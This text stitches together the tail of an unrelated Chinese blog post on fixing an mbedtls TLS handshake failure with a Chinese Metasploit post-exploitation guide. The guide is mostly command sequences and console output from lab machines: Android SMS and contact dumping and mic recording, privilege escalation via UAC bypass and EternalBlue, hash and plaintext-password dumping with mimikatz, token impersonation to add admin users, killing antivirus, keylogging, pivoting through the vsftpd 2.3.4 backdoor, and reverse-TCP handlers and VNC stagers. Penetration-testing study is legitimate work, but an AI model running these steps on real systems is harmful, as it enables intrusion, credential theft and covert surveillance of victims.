的时候,就会取这个证书的公钥。所以我后面还在这里补了一个 注释 。 /* The frist cert in the cert_chain is considered to be "peer_cert" !!! */ MBEDTLS_SSL_DEBUG_CRT( 3, "peer certificate", ssl->session_negotiate->peer_cert );再接着看下 Client-Key-Exchange 的流程:static int ssl_write_client_key_exchange( mbedtls_ssl_context *ssl ) // 省略 。。。 #if defined(MBEDTLS_KEY_EXCHANGE_RSA_ENABLED) if( ciphersuite_info->key_exchange == MBEDTLS_KEY_EXCHANGE_RSA ) i = 4; if( ( ret = ssl_write_encrypted_pms( ssl, i, &n, 0 ) ) != 0 ) return( ret ); #endif /* MBEDTLS_KEY_EXCHANGE_RSA_ENABLED */ // 省略 。。。 }这里会还会涉及在 Server-Hello 时,对方选择的密钥套件有关,这个密钥套件决定了在 密钥交换(Key-Exchange) 阶段使用的算法,比如我抓到的报文是 Cipher Suite: TLS_RSA_WITH_AES_256_CBC_SHA256 (0x003d)。所以使用的 MBEDTLS_KEY_EXCHANGE_RSA 。接下来是数据的加密: * Generate a pre-master secret and encrypt it with the server's RSA key static int ssl_write_encrypted_pms( mbedtls_ssl_context *ssl, size_t offset, size_t *olen, size_t pms_offset ) if( ssl->session_negotiate->peer_cert == NULL ) MBEDTLS_SSL_DEBUG_MSG( 2, ( "certificate required" ) ); return( MBEDTLS_ERR_SSL_UNEXPECTED_MESSAGE ); * Now write it out, encrypted if( ! mbedtls_pk_can_do( &ssl->session_negotiate->peer_cert->pk, MBEDTLS_PK_RSA ) ) MBEDTLS_SSL_DEBUG_MSG( 1, ( "certificate key type mismatch" ) ); return( MBEDTLS_ERR_SSL_PK_TYPE_MISMATCH ); if( ( ret = mbedtls_pk_encrypt( &ssl->session_negotiate->peer_cert->pk, //使用证书里面的公钥做加密 p, ssl->handshake->pmslen, ssl->out_msg + offset + len_bytes, olen, MBEDTLS_SSL_OUT_CONTENT_LEN - offset - len_bytes, ssl->conf->f_rng, ssl->conf->p_rng ) ) != 0 ) MBEDTLS_SSL_DEBUG_RET( 1, "mbedtls_rsa_pkcs1_encrypt", ret ); return( ret ); // 省略 。。。 }mbedtls_pk_encrypt( &ssl->session_negotiate->peer_cert->pk 这就是应证了之前的假设,果然它就是使用 次级CA证书 的公钥计算的,自然下一步服务器收到 Client-Key-Exchange 就直接拒绝了。4.2.7 到底哪个环节出了问题看了上面的源码分析,似乎mbedtls的证书校验,并没有问题。但是分析完上面,结合之前对那个各个证书内容分析,我已经能够大胆推测了,可能是SHA384算法不支持。最早我的怀疑是:RSA3072bits 不支持,但已经被推翻了,由于次级CA证书的RSA是3072bits,所以它选用 SHA384WithRSAEncryption 做签名算法,也算情理之中,即便主流的SHA算法是 SHA256.顺着SHA算法的支持情况,一查果然发现问题所在,原来mbedtls的配置里,默认就只开了 SHA1和SHA256,且预留了配置项,开启其他算法,具体下一小节再细讲。所以理论上,只要我把 SHA384 算法的支持打开,一切就会顺利成章地完成TLS握手。但是,如果说 SHA384 算法不支持,那就不应走到 Client-Key-Exchange 阶段啊,在证书校验环节就应该要卡掉!讲到这里,回想下,可能是之前对证书校验理解不够深入,在调试源码的时候,认为有些情况可以跳过,所以这种算法不支持的场景就被我们忽略了,直接导致的后果就是错误被蔓延了,直到 Client-Key-Exchange 阶段才出现了。4.2.8 mbedtls的正确使用姿势各类算法的支持mbedtls支持非常多算法,基本主流的算法都支持,包括上面提及的SHA算法,还有各种对称算法、非对称算法。在配置上,预留了很人性化的配置菜单来使能各种算法:下次再遇到类似的问题,多一个排查方向了:相关算法的支持是否打开了 ?TLS相关的LOG调试上面搞了这么多源码分析,唯一还未提及配合LOG调试,其实我主要是先想弱化LOG的分析作用,先让大家从原理流程上把握整个分析过程。mbedtls再LOG上还是比较人性化的,预留了应用层 个性化 打印LOG的需求,它采用的注册回调的机制来实现的。它的使用方法如下:再TLS连接初始化时,我们会调用一些列的 配置初始化接口,其中有这么一个接口:/** * \brief Set the debug callback * The callback has the following argument: * void * opaque context for the callback * int debug level * const char * file name * int line number * const char * message * \param conf SSL configuration * \param f_dbg debug function * \param p_dbg debug parameter void mbedtls_ssl_conf_dbg( mbedtls_ssl_config *conf, void (*f_dbg)(void *, int, const char *, int, const char *), void *p_dbg );它可以将 LOG 打印的接口回调到应用层自己的代码中,比如像我这,我就会这样写:static void my_tls_debug(void *param, int level, const char *file, int line, const char *str) ((void)level); //忽略LOG等级 printf("[%s:%d] %s\r\n", file, line, str); //同时打印文件名和行号 mbedtls_ssl_conf_dbg(conf, my_tls_debug, NULL)这个还是挺有用的,可以你自己来控制LOG等级,LOG还是比较详细的。同时,它还有一个专门设置LOG等级的接口,长这样: /* * 0. Initialize the RNG and the session data #if defined(MBEDTLS_DEBUG_C) mbedtls_debug_set_threshold((int)DEBUG_LEVEL); #endif * - Debug levels * - 0 No debug * - 1 Error * - 2 State change * - 3 Informational * - 4 Verbose应用层完全可以自己控制LOG的内容和格式。怎么样,调试起来,肯定会事半功倍吧?如果把LOG打开,本案例的问题会怎么样呢?留给感兴趣的读者自己尝试一下吧。。。5 修复验证修复验证往往是最简单的一环,因为前面已经有了大量的理论分析和实践猜想。5.1 问题修复找到问题的突破口,修复起来自然是很简单,仅仅需要把 SHA384 算法支持上就可以了。在我们已实现的代码框架下,仅仅需要把 MBEDTLS_CONFIG_CRYPTO_SHA512 这个配置项使能上就可以了,甚至一行代码都不需要改。至于为啥又跟 SHA512 扯上关系,建议了解一下SHA384和SHA512的源码实现,他们本自同根生,一条路子出来的,只不过长度不一样而已。5.2 问题验证把配置项选上,重新输出一个固件,自己验证一把,可以完成TLS握手,随后把输出的固件同步远程出差的同事,不一会也得到了正确的响应,群里一致收到了好评,而此时的时间大概在上午的10点半。实践证明,还是上午的排查思路更清晰流畅,单靠晚上的加班加点不见得能死磕问题!回头想想也是慌,要不今天搞不定,这可就不是这个声音了,同时团队的公信力也会大打折扣了。6 经验总结越是紧急的问题,越是需要冷静地分析:实践证明,着急解决不了任何问题,反而会让自己陷入一个排查盲区,无法自拔;非对称RSA运算(加密解密)的数据长度、密钥的长度、模长的关系,是一个非常重要的突破口;安全算法非常多,基本上掌握最核心的几种就可以应付绝大多数的应用场景;对算法的敏感性,也决定了对TLS这类问题的排查速度;TLS中的证书校验,往往是实现TLS安全的最关键的一环,也往往是最容易出问题的一环;排查网络问题的基本思路:先看外网能不能通,比如ping外网看下;其次看下TCP服务器能不能通,直接使用IP+端口的形式访问;最后再看看TLS握手流程,有机会一定要抓包分析;10个TLS问题9.9个抓包可看出问题的表面原因;对比发现问题的能力,在嵌入式开发中依然显得非常重要;有对比,再适当迁移,往往能打开更多的突破口;排查问题亘古不变的原则:大胆假设,小心求证;感兴趣的朋友,可以联系我取一下现场抓的网络的报文,结合报文分析,事半功倍。7 参考链接mbedtls裁剪方法参考图解TLS握手流程一款好用的MQTT客户端调试工具[常用安全算法总结(对理解数字证书的签名和验签有帮助)]()如何解决SSL/TLS握手过程中失败的错误?网络分层架构(七/四层协议)网络分层 - 知乎传输层安全协议TLS——协议解析HTTPS抓包了解TLS握手流程RSA公钥指数的选取8 更多分享架构师李肯架构师李肯(全网同名),一个专注于嵌入式IoT领域的架构师。有着近10年的嵌入式一线开发经验,深耕IoT领域多年,熟知IoT领域的业务发展,深度掌握IoT领域的相关技术栈,包括但不限于主流RTOS内核的实现及其移植、硬件驱动移植开发、网络通讯协议开发、编译构建原理及其实现、底层汇编及编译原理、编译优化及代码重构、主流IoT云平台的对接、嵌入式IoT系统的架构设计等等。拥有多项IoT领域的发明专利,热衷于技术分享,有多年撰写技术博客的经验积累,连续多月获得RT-Thread官方技术社区原创技术博文优秀奖,荣获CSDN博客专家、CSDN物联网领域优质创作者、2021年度CSDN&RT-Thread技术社区之星、2022年RT-Thread全球技术大会讲师、RT-Thread官方嵌入式开源社区认证专家、RT-Thread 2021年度论坛之星TOP4、华为云云享专家(嵌入式物联网架构设计师)等荣誉。坚信【知识改变命运,技术改变世界】!欢迎关注我的gitee仓库01workstation ,日常分享一些开发笔记和项目实战,欢迎指正问题。同时也非常欢迎关注我的CSDN主页和专栏:【CSDN主页-架构师李肯】【RT-Thread主页-架构师李肯】【C/C++语言编程专栏】【GCC专栏】【信息安全专栏】【RT-Thread开发笔记】【freeRTOS开发笔记】有问题的话,可以跟我讨论,知无不答,谢谢大家。
基于Metasploit的软件渗透测试(五)
Meterpreter指南(后渗透技术)基本命令meterpreter常用命令命令作用background返回,把Meterpreter后台挂起sessions查看当前建立的会话sessions -i number与第n个会话进行交互sessions -i显示当前的回话sessions -k number与第n个会话进行交互关闭bgkill杀死一个 Meterpreter 脚本bglist提供所有正在运行的后台脚本的列表bgrun作为一个后台线程运行脚本channel显示活动频道close关闭通道exit终止 Meterpreter 会话quit终止 Meterpreter 会话interact id切换进一个信道run执行一个已有的模块,这里要说的是输入run后按两下tab,会列出所有的已有的脚本,常用的autoroute,hashdump,arp_scanner,multi_meter_inject等irb进入 Ruby 脚本模式read从通道读取数据write# 将数据写入到一个通道use加载 meterpreter 的扩展load/use加载模块Resource执行一个已有的rc脚本针对安卓的命令dump_contacts获取手机通讯录dump_sms获取短信记录send_sms -d 15330252525 -t “hello”控制实验手机发短信geolocate获取实验手机GPS定位信息wlan_geolocate获取实验手机Wi-Fi定位信息record_mic -d 5控制实验手机录音webcam_list获取实验手机相机设备webcam_snap控制实验手机拍照webcam_stream直播实验手机摄像头针对Windows的一些命令ps查看进程:getpid查看当前进程号:sysinfo查看系统信息:route查看完整网络设置:getsystem自动提权getuid查看当前权限pwd   查看当前处于目标机的那个目录其他命令查看目标机是否为虚拟机:run post/windows/gather/checkvm关闭杀毒软件:run post/windows/manage/killav启动远程桌面协议:run post/windows/manage/enable_rdp列举当前登录的用户:run post/windows/gather/enum_logged_on_users查看当前应用程序:run post/windows/gather/enum_applications抓取目标机的屏幕截图:load espia ; screengrab获取相机设备:webcam_list控制拍照:webcam_snap直播摄像头:webcam_stream控制录音:record_mic查看当前目录:getlwd导出当前用户密码哈希 run hashdump用户名:SID:LM哈希:NTLM哈希:::也可以使用下面这个命令导出权限更高 run windows/gather/smart_hashdump抓取自动登录的用户名和密码 run windows/gather/credentials/windows_autologin直接获取明文密码(注意这个功能需要获取系统权限获取系统权限需要输入getsystem)Shell 脚本进入Windows的终端shell文件系统命令文件交互指令IDCommandDescription1cat读取文件内容2cd切换靶机目录3cp复制文件到目标4mv移动到目标5chmod修改文件权限(比如chmod 777 shell.elf)6del / rm删除靶机文件7dir打印靶机目录8mkdir在靶机上创建目录9rmdir删除靶机目录10edit编辑文件11getlwd打印本地目录12getwd打印靶机目录13lcd更改本地目录14lls列出本地目录15ls列出靶机文件目录16lpwd打印本地目录17pwd打印工作目录19search搜索文件详情search -hLinux权限chmod 777 {文件名.后缀}chmod 777 shell.elfupload上传文件到目标机主上,如upload setup.exe C:\windows\system32download nimeia.txt /root/Desktop/# 下载文件到本机上如:download C:\boot.ini /root/或者download C:\“ProgramFiles”\Tencent\QQ\Users\295******125\Msg2.0.db /root/searchsearch 文件,如search -d c:\ -f*.docsearch -d c:\Users\xiang\Desktop -f *.txtenumdesktops用户登录数ipconfig查看IP地址其他命令截屏meterpreter > screenshotScreenshot saved to: /home/jerry/BqXLvJAp.jpeg获得系统信息 meterpreter > sysinfo Computer : WIN-2VEIIKHJ7M8 OS : Windows 7 (6.1 Build 7601, Service Pack 1). Architecture : x64 System Language : zh_CN Domain : WORKGROUP Logged On Users : 2 Meterpreter : x64/windows获取键盘信息 meterpreter > ps Process List ============ PID PPID NameArch Session User Path 1184 1132 explorer.exex64 1 WIN-2VEIIKHJ7M8\小铃铛 C:\Windows\Explorer.EXE meterpreter > migrate 1184 迁移到1184进程中 [*] Migrating from 2496 to 1184... [*] Migration completed successfully. meterpreter > run post/windows/capture/keylog_recorder [*] Executing module against WIN-2VEIIKHJ7M8 [*] Starting the keylog recorder... [*] Keystrokes being saved in to /root/.msf4/loot/20220624132219_default_192.168.0.158_host.windows.key_244146.txt [*] Recording keystrokes... ^C[*] User interrupt. [*] Shutting down keylog recorder. Please wait... # cat /root/.msf4/loot/20220624132219_default_192.168.0.158_host.windows.key_244146.txt Keystroke log from explorer.exe on WIN-2VEIIKHJ7M8 with user WIN-2VEIIKHJ7M8\小铃铛 started at 2022-06-24 13:22:19 +0800 tgest <^H><^H><^H><^H><^H><^H>test mFy<^H><^H>Gu Xiang Keylog Recorder exited at 2022-06-24 13:24:03 +0800提权最基础的提权 meterpreter > getuid Server username: E86004903967404\Administrator meterpreter > getsystem ...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)). meterpreter > getuid Server username: NT AUTHORITY\SYSTEM利用漏洞提权Windows 7meterpreter > background exploit(windows/local/ms15_051_client_copy_image) > use exploit/windows/smb/ms17_010_eternalblue [*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp exploit(windows/smb/ms17_010_eternalblue) > use exploit/windows/smb/ms17_010_eternalblue [*] Using configured payload windows/x64/meterpreter/reverse_tcp exploit(windows/smb/ms17_010_eternalblue) > set SESSION 1 SESSION => 1msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhost 192.168.0.168 rhost => 192.168.0.168 exploit(windows/smb/ms17_010_eternalblue) > exploit绕过UAC提权Windows 7用户账户控制(User Account Control,简写作UAC)是微软公司在其Windows Vista及更高版本操作系统中采用的一种控制机制。其原理是通知用户是否对应用程序使用硬盘驱动器和系统文件授权,以达到帮助阻止恶意程序(有时也称为“恶意软件”)损坏系统的效果。meterpreter > background exploit(multi/handler) > use exploit/windows/local/bypassuac [*] No payload configured, defaulting to windows/meterpreter/reverse_tcp msf6 exploit(windows/local/bypassuac) > set session 2 session => 2 exploit(windows/local/bypassuac) > exploit [*] Started reverse TCP handler on 192.168.0.150:4444 [*] UAC is Enabled, checking level... [+] UAC is set to Default [+] BypassUAC can bypass this setting, continuing... [*] Meterpreter session 3 opened (192.168.0.150:4444 -> 192.168.0.168:58389) at 2022-07-19 15:45:06 +0800 meterpreter > getuid Server username: WIN-2VEIIKHJ7M8\小铃铛 meterpreter > getsystem ...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)). meterpreter > getuid Server username: NT AUTHORITY\SYSTEM meterpreter > 触发UAC机制Windows 10meterpreter > background Backgrounding session 1... exploit(multi/handler) > use exploit/windows/local/ask [*] No payload configured, defaulting to windows/meterpreter/reverse_tcp exploit(windows/local/ask) > set session 1 session => 1 exploit(windows/local/ask) > set filename payload.exe filename => payload.exe msf6 exploit(windows/local/ask) > exploit [*] Started reverse TCP handler on 192.168.0.150:4444 [*] UAC is Enabled, checking level... [*] The user will be prompted, wait for them to click 'Ok' [*] Uploading payload.exe - 73802 bytes to the filesystem... [*] Executing Command! [*] Sending stage (175686 bytes) to 192.168.0.106 [*] Meterpreter session 2 opened (192.168.0.150:4444 -> 192.168.0.106:2513) at 2022-06-27 11:39:52 +0800 meterpreter > getsystem ...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)). 获取用户名密码提取密码哈希值Windows 10 meterpreter > getsystem meterpreter > run post/windows/gather/hashdump [*] Obtaining the boot key... [*] Calculating the hboot key using SYSKEY 4368ea4193e43ce242a9fec38c370ea2... [*] Obtaining the user list and keys... [*] Decrypting user keys... [*] Dumping password hints... No users with password hints on this system [*] Dumping password hashes... Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:ca24769333d0f9419d17e86998b56519::: xiang:1001:aad3b435b51404eeaad3b435b51404ee:4f151ab2d4afdef65f9664b0422ad83f::: meterpreter > ps | grep lsass Filtering on 'lsass' Process List ============ PID PPID Name Arch Session User Path --- ---- ---- ---- ------- ---- ---- 736 644 lsass.exe x64 0NT AUTHORITY\SYSTEM C:\Windows\System32\lsass.exe meterpreter > migrate 736 [*] Migrating from 5724 to 736... [*] Migration completed successfully. meterpreter > load kiwi Loading extension kiwi...' .#####. mimikatz 2.2.0 20191125 (x64/windows) .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) ## \ / ## > http://blog.gentilkiwi.com/mimikatz '## v ##'Vincent LE TOUX( vincent.letoux@gmail.com ) '#####' > http://pingcastle.com / http://mysmartlogon.com ***/ Success. meterpreter > kiwi_cmd sekurlsa::logonpasswords SID : S-1-5-21-2772671008-4265266102-715737954-1001 msv : [00000003] Primary * Username : xianggu625@126.com * Domain : MicrosoftAccount * NTLM : 4f151ab2d4afdef65f9664b0422ad83f tspkg : wdigest : * Username : xianggu625@126.com * Domain : MicrosoftAccount * Password : (null) kerberos : * Username : xianggu625@126.com * Domain : MicrosoftAccount * Password : (null) ssp : credman : cloudap : …重新进入msf6 exploit(windows/local/ask) > use exploit/multi/handler [*] Using configured payload windows/meterpreter/reverse_tcp msf6 exploit(multi/handler) > set lhost 192.168.0.150 lhost => 192.168.0.150 msf6 exploit(multi/handler) > set lport 4444 lport => 443 msf6 exploit(multi/handler) set rhost 192.168.0.106 rhost => 192.168.0.106 msf6 exploit(multi/handler) set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf6 exploit(multi/handler) set SMBPass aad3b435b51404eeaad3b435b51404ee:4f151ab2d4afdef65f9664b0422ad83f SMBPass => aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4 msf6 exploit(multi/handler) exploit [*] Started reverse TCP handler on 192.168.0.150:4444 [*] Sending stage (175686 bytes) to 192.168.0.106 [*] Sending stage (175686 bytes) to 192.168.0.106 [*] Meterpreter session 2 opened (192.168.0.150:4444 -> 192.168.0.106:21198) at 2022-06-27 16:14:14 +0800 [*] Meterpreter session 1 opened (192.168.0.150:4444 -> 192.168.0.106:21197) at 2022-06-27 16:14:14 +0800 meterpreter >Windows7 meterpreter > getsystem [-] Already running as SYSTEM meterpreter > run post/windows/gather/hashdump [*] Obtaining the boot key... [*] Calculating the hboot key using SYSKEY 7a3026b2f119d51ec136ea51a0acddd6... [*] Obtaining the user list and keys... [*] Decrypting user keys... [*] Dumping password hints... No users with password hints on this system [*] Dumping password hashes... Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: 小铃铛:1000:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4::: meterpreter > ps | grep lsass Filtering on 'lsass' Process List ============ PID PPID Name Arch Session User Path --- ---- ---- ---- ------- ---- ---- 512 396 lsass.exe x64 0NT AUTHORITY\SYSTEM C:\Windows\system32\lsass.exe meterpreter > migrate 512 [*] Migrating from 1672 to 512... [*] Migration completed successfully. meterpreter > load kiwi Loading extension kiwi... .#####. mimikatz 2.2.0 20191125 (x64/windows) .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) ## \ / ## > http://blog.gentilkiwi.com/mimikatz '## v ##'Vincent LE TOUX( vincent.letoux@gmail.com ) '#####' > http://pingcastle.com / http://mysmartlogon.com ***/ Success. meterpreter > kiwi_cmd sekurlsa::logonpasswords Authentication Id : 0 ; 81005 (00000000:00013c6d) Session : Interactive from 1 User Name : : WIN-2VEIIKHJ7M8 * LM : 44efce164ab921caaad3b435b51404ee * NTLM : 32ed87bdb5fdc5e9cba88547376818d4 * SHA1 : 6ed5833cf35286ebf8662b7b5949f0d742bbec3f tspkg : * Username : (null) * Domain : WIN-2VEIIKHJ7M8 * Password : 123456 wdigest : * Username : (null) * Domain : WIN-2VEIIKHJ7M8 * Password : 123456 kerberos : * Username : (null) * Domain : WIN-2VEIIKHJ7M8 * Password : 123456 ssp : credman : [00000000]��� .#####. mimikatz 2.2.0 (x64) #19041 May 17 2022 19:25:29 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) ## \ / ## > https://blog.gentilkiwi.com/mimikatz '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com ) '#####'> https://pingcastle.com / https://mysmartlogon.com ***/ mimikatz(powershell) # sekurlsa::logonpasswords Authentication Id : 0 ; 81005 (00000000:00013c6d) Session : Interactive from 1 User Name : \Ô۔ Domain: WIN-2VEIIKHJ7M8 Logon Server : WIN-2VEIIKHJ7M8 Logon Time: 2022/6/27 14:58:54 SID : S-1-5-21-2305812133-3308626755-1024735854-1000 msv : [00000003] Primary * Username : \Ô۔ * Domain : WIN-2VEIIKHJ7M8 * LM : 44efce164ab921caaad3b435b51404ee * NTLM : 32ed87bdb5fdc5e9cba88547376818d4 * SHA1 : 6ed5833cf35286ebf8662b7b5949f0d742bbec3f tspkg : * Username : (null) * Domain : WIN-2VEIIKHJ7M8 * Password : 123456 wdigest : * Username : (null) * Domain : WIN-2VEIIKHJ7M8 * Password : 123456 kerberos : * Username : (null) *重新进入msf6 > use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcp msf6 exploit(multi/handler) > set lhost 192.168.0.150 lhost => 192.168.0.150 msf6 exploit(multi/handler) > set lport 4444 lport => 4444 msf6 exploit(multi/handler) > set rhost 192.168.0.158 rhost => 192.168.0.158 msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf6 exploit(multi/handler) > set SMBPass 44efce164ab921caaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4 SMBPass => 44efce164ab921caaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4 msf6 exploit(multi/handler) > exploit [*] Started reverse TCP handler on 192.168.0.150:4444 [*] Sending stage (175686 bytes) to 192.168.0.158 [*] Meterpreter session 1 opened (192.168.0.150:4444 -> 192.168.0.158:49194) at 2022-06-27 17:20:14 +0800 meterpreter > 令牌假冒添加用户 meterpreter > ps | grep lsass Filtering on 'lsass' Process List ============ PID PPID Name Arch Session User Path --- ---- ---- ---- ------- ---- ---- 736 644 lsass.exe x64 0NT AUTHORITY\SYSTEM C:\Windows\System32\lsass.exe meterpreter > steal_token 736 Stolen token with username: NT AUTHORITY\SYSTEM meterpreter > use incognito Loading extension incognito...Success. meterpreter > list_tokens -u Delegation Tokens Available ======================================== DESKTOP-9A8VFKB\xiang NT AUTHORITY\LOCAL SERVICE NT AUTHORITY\NETWORK SERVICE NT AUTHORITY\SYSTEM NT SERVICE\ReportServer Window Manager\DWM-1 Impersonation Tokens Available ======================================== Font Driver Host\UMFD-0 Font Driver Host\UMFD-1 NT AUTHORITY\ANONYMOUS LOGON NT SERVICE\MSSQLFDLauncher NT SERVICE\MSSQLSERVER NT SERVICE\MSSQLServerOLAPService meterpreter > impersonate_token "NT AUTHORITY\\SYSTEM" [+] Delegation token available [+] Successfully impersonated user NT AUTHORITY\SYSTEM meterpreter > add_user tom 123456 -h 192.168.0.106 [*] Attempting to add user tom to host 192.168.0.106 [+] Successfully added user meterpreter > add_group_user "administrators" tom -h 192.168.0.106 跳板目标为安装vsftpd V2.3.4的Linux机器Windows10->vsftpd V2.3.4的Linux机器 meterpreter > run get_local_subnets [!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute. [!] Example: run post/multi/manage/autoroute OPTION=value [...] Local subnet: 192.168.0.0/255.255.255.0 Local subnet: 192.168.5.0/255.255.255.0 Local subnet: 192.168.81.0/255.255.255.0 meterpreter > background Backgrounding session 3... exploit(windows/local/ask) > route add 192.168.0.0 255.255.255.0 3 [*] Route added exploit(windows/local/ask) > route print IPv4 Active Routing Table ========================= Subnet Netmask Gateway ------ ------- ------- 192.168.0.0 255.255.255.0 Session 3 [*] There are currently no IPv6 routes defined. exploit(windows/smb/ms17_010_eternalblue) > use exploit/unix/ftp/vsftpd_234_backdoor [*] No payload configured, defaulting to cmd/unix/interact exploit(unix/ftp/vsftpd_234_backdoor) > set payload cmd/unix/interact payload => cmd/unix/interact exploit(unix/ftp/vsftpd_234_backdoor) > set rhost 192.168.0.171 rhost => 192.168.0.171 exploit(unix/ftp/vsftpd_234_backdoor) > exploit 192.168.0.171:21 - Banner: 220 (vsFTPd 2.3.4) 192.168.0.171:21 - USER: 331 Please specify the password. [+] 192.168.0.171:21 - Backdoor service has been spawned, handling... [+] 192.168.0.171:21 - UID: uid=0(root) gid=0(root) [*] Found shell. [*] Command shell session 4 opened (192.168.0.106:29720 -> 192.168.0.171:6200 via session 3) at 2022-07-19 17:00:32 +0800使用Meterpreter运行脚本运行VNCWindows 10 meterpreter > run vnc [*] Creating a VNC reverse tcp stager: LHOST=192.168.0.150 LPORT=4545 [*] Running payload handler [*] VNC stager executable 73802 bytes long [*] Uploaded the VNC agent to C:\Users\xiang\AppData\Local\Temp\eiISyc.exe (must be deleted manually) [*] Executing the VNC agent with endpoint 192.168.0.150:4545... [-] Could not execute vnc: Rex::Post::Meterpreter::RequestError stdapi_sys_process_execute: Operation failed: Access is denied. 到windows里面运行C:\Users\xiang\AppData\Local\Temp\eiISyc.exe会看到效果 meterpreter > [*] VNC Server session 3 opened (192.168.0.150:4545 -> 192.168.0.106:8611) at 2022-06-28 11:38:32 +0800 Connected to RFB server, using protocol version 3.8 Enabling TightVNC protocol extensions No authentication needed Authentication successful Desktop name "desktop-9a8vfkb" VNC server default format: 32 bits per pixel. Least significant byte first in each pixel. True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0 Using default colormap which is TrueColor. Pixel format: 32 bits per pixel. Least significant byte first in each pixel. True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0 Same machine: preferring raw encodingWindows 7 meterpreter > run vnc [*] Creating a VNC reverse tcp stager: LHOST=192.168.0.150 LPORT=4545 [*] Running payload handler [*] VNC stager executable 73802 bytes long [*] Uploaded the VNC agent to C:\Windows\TEMP\YNpMWsIZ.exe (must be deleted manually) [*] Executing the VNC agent with endpoint 192.168.0.150:4545... meterpreter > Connected to RFB server, using protocol version 3.8 Enabling TightVNC protocol extensions No authentication needed Authentication successful [*] VNC Server session 2 opened (192.168.0.150:4545 -> 192.168.0.158:49170) at 2022-06-28 12:22:50 +0800 Desktop name "win-2veiikhj7m8" VNC server default format: 32 bits per pixel. Least significant byte first in each pixel. True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0 Using default colormap which is TrueColor. Pixel format: 32 bits per pixel. Least significant byte first in each pixel. True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0 Same machine: preferring raw encoding迁移进程meterpreter > run post/windows/manage/migrate [*] Running module against DESKTOP-9A8VFKB [*] Current server process: payload.exe (8716) [*] Spawning notepad.exe process to migrate into [*] Spoofing PPID 0 [*] Migrating into 9944 [+] Successfully migrated into process 9944关闭杀毒软件 meterpreter > run killav [!] Meterpreter scripts are deprecated. Try post/windows/manage/killav. [!] Example: run post/windows/manage/killav OPTION=value [...] [*] Killing Antivirus services on the target...获取系统密码哈希值 meterpreter > run hashdump [!] Meterpreter scripts are deprecated. Try post/windows/gather/smart_hashdump. [!] Example: run post/windows/gather/smart_hashdump OPTION=value [...] [*] Obtaining the boot key... [*] Calculating the hboot key using SYSKEY 4368ea4193e43ce242a9fec38c370ea2... [*] Obtaining the user list and keys... [*] Decrypting user keys... [-] Error: ArgumentError wrong number of arguments (given 4, expected 5) … 所以改用meterpreter > run post/windows/gather/smart_hashdump [*] Running module against DESKTOP-9A8VFKB [*] Hashes will be saved to the database if one is connected. [+] Hashes will be saved in loot in JtR password file format to: [*] /root/.msf4/loot/20220628120236_default_192.168.0.106_windows.hashes_115893.txt [*] Dumping password hashes... [*] Running as SYSTEM extracting hashes from registry [*] Obtaining the boot key... [*] Calculating the hboot key using SYSKEY 4368ea4193e43ce242a9fec38c370ea2... [*] Obtaining the user list and keys... [*] Decrypting user keys... [*] Dumping password hints... [*] No users with password hints on this system [*] Dumping password hashes... [+]Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: [+]DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: [+]WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: [+] xiang:1001:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: [+] tom:1010:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::或 meterpreter > run post/windows/gather/hashdump [*] Obtaining the boot key... [*] Calculating the hboot key using SYSKEY 7a3026b2f119d51ec136ea51a0acddd6... [*] Obtaining the user list and keys... [*] Decrypting user keys... [*] Dumping password hints... No users with password hints on this system [*] Dumping password hashes... Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: 小铃铛:1000:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4::: tom:1001:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::获取目标机上流量目标机必须支持:rpcapd service,在Windows上安装winpcap即可meterpreter > run post/windows/manage/rpcapd_start [*] Checking if machine DESKTOP-9A8VFKB has rpcapd service [*] Rpcap service found: Remote Packet Capture Protocol v.0 (experimental) [*] Setting rpcapd as 'auto' service [*] Enabling 